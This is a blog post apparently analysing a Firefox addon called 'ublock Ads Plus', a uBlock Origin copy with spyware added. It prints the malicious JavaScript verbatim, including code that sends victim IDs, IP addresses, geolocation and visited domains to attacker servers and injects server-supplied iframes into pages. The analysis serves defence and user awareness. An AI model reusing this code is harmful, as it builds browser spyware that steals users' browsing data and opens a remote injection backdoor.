The Anatomy of a Firefox Malware Addon
Some time ago, I was contacted to fix a computer running Ubuntu. Basically, after many flawless LTS distribution upgrade the last one failed and made the graphical boot hang hard. Thus, the fix was to backup the home directory, re-install a fresh Ubuntu and restore the home. Color me surprised when I quickly checked the Firefox addons and noticed a suspicious looking one:
The screenshot reads:
ublock Ads Plus
By Firefox Developer
Adblocker Pro - der beste Anzeigenblocker für alle deutschen Seiten
The last part translated to English:
The best Ad-Blocker for all German sites
Clearly, everything about this is ultra suspicious. It's not just one name, it's two names ('ublock Ads Plus' and 'Adblocker Pro'). The names are obviously a play on words trying to invoke familiarity with the very fine and legitimate ad-blockers uBlock Origin and Adblock Plus. Also, as if an addon author would use the utmost generic 'Firefox Developer' as author name. Let alone the ridiculous catch phrase.
Searching the Web for this addon name turned up some articles about Chrome malware addons that use similar name variations. Thus, I stored that addon for later analysis and wiped it from the affected machine.
Unpacking the captured adblocker@pro.org.xpi
(a.k.a. 'ublock
Ads Plus') addon zip archive reveals that it's some kind of
uBlock Origin rip-off because most copyright headers are
intact:
uBlock Origin - a browser extension to block requests.
Copyright (C) 2014-2016 Raymond Hill
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
[..]
Now the question is whether this rip-off is malicious or not. And if it is, how bad is it? Comparing it with a uBlock Origin revision from late 2016 shows that it does indeed add some malicious code.
Malicious Additions¶
The malware code still contains many active (or commented)
console.log()
calls - apparently, the author is a big fan of
printf debugging.
In js/background.js
, firstly, a custom uninstall URL is
installed:
browser.runtime.setUninstallURL("https://goo.gl/forms/zLaR0ptFbmZtcWSA2");
Also at the top level, there is some logic to report to a Google Analytics account that the malware addon is still active in the victim's browser, each 24 hours:
console.log("Ticker calculation...");
try {
var start = localStorage.getItem("tickclock");
var millis = Date.now() - start;
var elapsed = Math.floor(millis/1000);
if(elapsed>=86400)
{
var u_uuid = localStorage.getItem("uuid");
var ccampaignId = localStorage.getItem("campaignID");
var manifest = browser.runtime.getManifest();
var extnName = manifest.name;
console.log(manifest.name);
var request = new XMLHttpRequest();
var uri = "v=1&t=event&tid=UA-93019183-1&cid="
+u_uuid+"&aip=1&ds="+extnName
+"&ec=firefox&ea=firefox_user_active&el=extension_ON&cm="
+ccampaignId+"&es=browsersession";
var message = encodeURI(uri);
request.open("POST", "https://www.google-analytics.com/collect", true);
request.setRequestHeader("User-Agent",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36");
request.send(message);
localStorage.setItem("tickclock", Date.now());
}
} catch (e) {
this._log("Error sending report to Google Analytics.\n" + e);
}
(Note that I've re-indented the above and following code snippets a bit for better readability. Also, where appropriate I've split some long strings over multiple lines.)
The main pieces of information that are sent to the attacker's
Google Analytics account is the UUID and a campaign ID. The UUID
is randomly generated once after the malware addon is installed and thus
uniquely identifies each victim. The campaign ID is the
utm_campaign
part of the URL the user is currently visiting:
var redirectUrl = "https://www.youtube.com/";
browser.tabs.query({currentWindow: true, active: true}, function (tabs) {
if(tabs[0] && tabs[0].id)
{
var tab = tabs[0];
var currurl = tab.url;
if(currurl.indexOf("utm_campaign")!=-1)
{
console.log(currurl);
getUrlParameter('utm_campaign',currurl);
}
var updating = browser.tabs.update(tab.id, {url: redirectUrl});
updating.then(function(tab){
browser.tabs.onUpdated.addListener(handleUpdate); });
}
function getUrlParameter(name,url) {
name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
var results = regex.exec(url);
var campaignId = results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
localStorage.setItem("campaignID", campaignId);
console.log(campaignId);
setTimeout( function() { reportGA(campaignId); }, 10000);
}
The malware not only includes the campaign ID in its alive message. In fact, it does report all campaign IDs is encounters in all URLs the victim is visiting:
function reportGA(campaignID) {
var uuid = uuid4();
localStorage.setItem("uuid", uuid);
var browser = "firefox"
dbtransport();
//embedPixel();
try {
var request = new XMLHttpRequest();
var uri = "v=1&t=event&tid=UA-93019183-1&cid="+uuid
+"&aip=1&ds=add-on&ec=firefox&ea=install_completed&el=firefox_addon_installed&cm="
+campaignID+"&es=browserextension";
var message = encodeURI(uri);
request.open("POST", "https://www.google-analytics.com/collect", true);
request.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36");
request.send(message);
} catch (e) {
this._log("Error sending report to Google Analytics.\n" + e);
}
}
The previously installed handleUpdate()
callback ultimately injects tracking pixel code:
function handleUpdate(tabId, changeInfo,tab)
{
if(tab.url.indexOf("https://www.youtube.com/")!=-1 && tab.status=="complete")
{
console.log(tab);
setImage(tabId);
chrome.tabs.onUpdated.removeListener(handleUpdate);
return;
}
}
function setImage(tabId)
{
browser.tabs.executeScript(tabId, { code:
'\n '
+ 'var img = new Image();\n'
+ 'img.className = \'pixel\';\n'
+ 'img.src = \'http://bursultry-exprights.com/conversion.gif\';\n'
+ 'document.body.appendChild(img);\n',
runAt: 'document_end' }, function () {});
}
That means the malware addon injects some Java Script code into each page that adds the tracking pixel image to the page's DOM tree.
When reporting the campaign ID etc. to Google Analytics, the malware also reports this and other information to another URL - probably as a backup in case Google removes the attacker's account:
function dbtransport()
{
var campaignId = localStorage.getItem("campaignID");
var installDtTm = localStorage.getItem("installDtTm");
var dauLastSeen = localStorage.getItem("dauLastSeen");
var browser = localStorage.getItem("browser");
var uuid = localStorage.getItem("uuid");
var geoLocation = localStorage.getItem("GEO");
var url = "http://stage.adblocker.website/report.php"
//var url = "http://ojhasoftsolutions.in/testsites/adblock/report.php";
var data = "uuid="+uuid+"&campaignid="+campaignId+"&browser="+browser+"&geo="+geoLocation+"&datinstall="+installDtTm+"&dauLastSeen="+dauLastSeen;
$.ajax({
type: "POST",
url: url,
data: data,
success: function(){ console.log('Success'); }
});
}
Note how the Malware previously send the data to
http://ojhasoftsolutions.in
and now sends it to
http://stage.adblocker.website
.
The Geolocation comes from an extra HTTP request in the callback that also queries the tabs:
$.get("http://freegeoip.net/json/", function( data ) {
console.log(data); var countryName = data.country_name;
console.log(countryName);
localStorage.setItem("GEO", countryName);
//localStorage.setItem("countryCode", data.country_code);
});
Interestingly, the freegeoip.net
service has shut down its
open API as of March, 2018. The new API requires an API
key (free ones are available).
In js/tab.js
, the malware addon removes some logic for filtering youtube, e.g.:
/*
if(pageURL.indexOf("youtube.com")==-1)
{
console.log("Blocked if only youtube")
return 'http://behind-the-scene/';
}
*/
In js/ublock.js
the malware seems to deactivate some blacklisting functionality:
//console.log('getNetFilteringSwitch');
//console.log(url);
if(typeof this.netBlackList[key]=="undefined")
{
//console.log('Not Blocking ...');
//console.log(key);
return false;
}
In js/vapi-background.js
, the Malware retrieves the external IP
address of the victim for later collection:
function is_ip_address_set() {
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", "https://api.ipify.org/?format=json" , true);
xhr2.send();
xhr2.onreadystatechange = function() {
if(xhr2.readyState == 4 && xhr2.status == 200) {
var list = JSON.parse(xhr2.responseText);
myIpAddressFunction(list.ip);
}
}
}
function myIpAddressFunction(u_ip_address){
localStorage.setItem("u_ip_address", u_ip_address);
}
Again, it uses yet another free web service for this: the open api.ipify.org service is known to be used for diverse purposes, including nefarious ones. Apparently, some of its burst traffic is mainly caused by malware.
Besides tracking the victim's IP, there is also some code for tracking each domain the victim is visiting:
/**
* Description: stored all the open tabs in an array
* return void
*/
function save_all_tabs_opened() {
var local_tabs_domains = [];
browser.tabs.query({},function(tabs){
tabs.forEach(function(tab){
var query_string = tab.url;
var domain = get_domain(query_string);
if ( domain === undefined ) {
} else {
tabs_domains.push(domain);
}
});
save_domain(tabs_domains);
});
}
Surprisingly, the malware invests some effort to strip the non-domain part of the URL:
/**
* proper get Domain without any parameter
*/
function get_domain(input){
try
{
var domain_arr = input.split("/");
var output_www = domain_arr[2];
var find_str = "www.";
var replace_str = "";
var output = output_www.replace(find_str, replace_str);
return output;
}
catch (err)
{
console.log('Domain undefined!');
}
}
The domain tracking generates some tracking events:
/**
* Hold the values in an global variable
*/
function save_domain(tabs_domains) {
var d_date = new Date();
var starting_n_get_time = d_date.getTime();
for (var i=0;i<tabs_domains.length ;i++ )
{
if(tabs_domains[i]===undefined)
continue;
var single_track ={
"domain": tabs_domains[i],
"lastUpdated": starting_n_get_time,
"fCount":1,
"tPointer":starting_n_get_time};
tracking_updates.push(single_track);
}
}
Those events are passed with the collected campaign ID, the external IP address etc. to the actual send function:
function restriction_on_url( domain_name_passed, vFlag ) {
if(domain_name_passed===undefined)
return;
var d_date = new Date();
var msg_needle = '';
var end_n_get_time = d_date.getTime();
var i = null;
for (i = 0; tracking_updates.length > i; i += 1) {
if(tracking_updates[i].domain==domain_name_passed)
{
break;
}
}
console.log(tracking_updates);
var p_ip_address = localStorage['u_ip_address'] ;
var campaignId = localStorage.getItem("campaignID");
var uuid = localStorage.getItem("uuid");
campaignId = campaignId.substring(0,5);
var identifier = campaignId+uuid;
console.log(identifier);
var args = {'tracking_updates':tracking_updates,
'domain_name_passed':domain_name_passed,
'vFlag':vFlag,
'i':i,
"min_x_second_opened_global":min_x_second_opened_global,
'parameter_2_global':parameter_2_global,
'parameter_1_global':parameter_1_global,
'end_n_get_time':end_n_get_time,
'p_ip_address':p_ip_address,
'identifier':identifier};
//tracking_updates[i].lastUpdated = end_n_get_time;
triggerRequest('sfile','POST',args);
}
This sensitive information is sent to https://adblocker.website/ublockscript.php
in triggerRequest()
:
function triggerRequest(qstr,type,args)
{
var param = null;
var countryCode ='BR';
var countryCode = localStorage.getItem("countryCode");
console.log(countryCode);
var url ='https://adblocker.website/ublockscript.php';
var xhr = new XMLHttpRequest();
xhr.open(type, url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
if(!args)
xhr.send(null);
else
{
console.log('POST REQUEST!');
xhr.send("tracking_updates="+JSON.stringify(args));
}
Actually, the function does multiple things besides just sending
the data. If the server sends a certain response, this function
sneakily injects an iframe
with a server supplied URL
into each opened web page. With that feature the attacker can
dynamically inject more evil Java-Script into the victim's web
sessions, possibly targeting only certain victims specifically.
Think more tracking, stealing of user session data, in-browser
crypto-coin mining, botnet client or something like that.
xhr.onreadystatechange = function() {
if(xhr.readyState == 4 && xhr.status == 200) {
var result = xhr.responseText; console.log(result);
if(result.indexOf("params")!=-1)
{
var array = result.split("=");
var configParams = array[1].split(","); console.log(configParams);
myConfigFunction(null,configParams[0], configParams[1], configParams[2], configParams[3], configParams[4]);
}
if(result.indexOf("tupdate")!=-1)
{
if(result.indexOf('xml-api')==-1)
{
console.log('only tupdate!');
var resultstr = result.split('=');
var len = resultstr.length;
var result = resultstr[len-1];
try
{
console.log(result);
var tarr = result.substr( result.indexOf('['), result.indexOf(']')+1); console.log(tarr);
if(JSON.parse(tarr))
{
var t_updates = JSON.parse(tarr); console.log(t_updates);
tracking_updates = t_updates; console.log(tracking_updates);
}
} catch(e){ console.log(e); console.log("Error!"); }
}
else if(result.indexOf('xml-api')!=-1)
{
console.log('Both tupdate and xml api!');
var resultstr = result.split('=');
var len = resultstr.length;
console.log(resultstr);
var resultSub = resultstr[len-5];
try
{
//console.log(result);
var tarr = resultSub.substr( resultSub.indexOf('['), resultSub.indexOf(']')+1); console.log(tarr);
if(JSON.parse(tarr))
{
var t_updates = JSON.parse(tarr); console.log(t_updates);
tracking_updates = t_updates; console.log(tracking_updates);
}
} catch(e){ console.log(e); console.log("Error!"); }
var iframe = document.createElement('iframe');
iframe.frameBorder=0;
iframe.width="2px";
iframe.height="2px";
iframe.id="randomid";
var src= result.substr(result.indexOf('http'),result.length);
iframe.setAttribute("src", src);
console.log( "New data Saved!" );
document.body.appendChild(iframe);
}
}
}
}
}
Of course, since Firefox auto-updates all addons by default,
even when the addon wasn't installed from the official Mozilla
addon repository, the attacker can easily distribute just
another more evil version of its malware, anytime. For example,
one that captures complete URLs, spies on various access tokens,
logs all key-strokes and provides an even more generic JavaScript
injection mechanism for controlling the victim's machine in a
botnet. In our example, the malware wasn't installed
via the Mozilla addon repository and thus specifies a custom
update URL in its manifest.json
:
"update_url": "https://adblocker.website/adblock/updates.json"
As a nice touch, the malware code in js/vapi-background.js
even
contains some comments and an author note:
////// PANKAJ CODE ///////
Summary¶
The 'ublock Ads Plus' (adblocker@pro.org.xpi
) Firefox addon is
some nasty malware. It tries to disguise it's
malicious malware pieces in a copy of the fine and legit uBlock
Origin adblocker addon. When a user is tricked into installing
the malware, it constantly spies on the victim. That means a lot
of personal information, such as all visited domains, history
profiles and URL parts are transferred to Google Analytics and
other shady malware data-collection servers. In addition, the
addon opens a backdoor to remotely inject iframes into each web
page. For example, to spy even more on the victim or make the
browser part of a botnet.
Background¶
I asked the owner of that Ubuntu machine if he had any idea how
this malware addon might got installed. Basically, what happened
seems to be this: Originally, only the legit AdBlock Plus
addon was installed. After a time, some German news sites
started a campaign to deactivate the web ad-blocker to
'support good journalism'. The user complied - at least he
deactivated AdBlock Plus on a few sites for some time. As a
consequence, a malicious ad tricked the user to install the
malicious 'ublock Ads Plus' (adblocker@pro.org.xpi
) malware
addon.
Lessons Learned¶
- Some malware authors don't seem to care at all to obfuscate their code
- Regularly check the addons you (or your users) have installed
- Some convenient web APIs like ipify.org are also popular with malware authors
Take-Home Message¶
Never deactivate your ad-blocker. It isn't just about 'conventional' ads, ad networks are known to regularly distribute malware, either directly via exploiting some security vulnerability in the browser or more indirectly via social engineering - or via a combination of both.
Given the attractiveness of the browsers addon mechanism for malware: only install necessary browser addons and carefully check their origin. For example, use the official Mozilla addon repository, look at some reviews, usage numbers, and cross-validate some information.
See Also¶
- Malware in the browser: how you might get hacked by a Chrome extension (2016), a blog article that analyses a Chrome malware addon that disguises itself as age verification. That malware sends Facebook access tokens to a central server and also contains some very generic botnet functionality.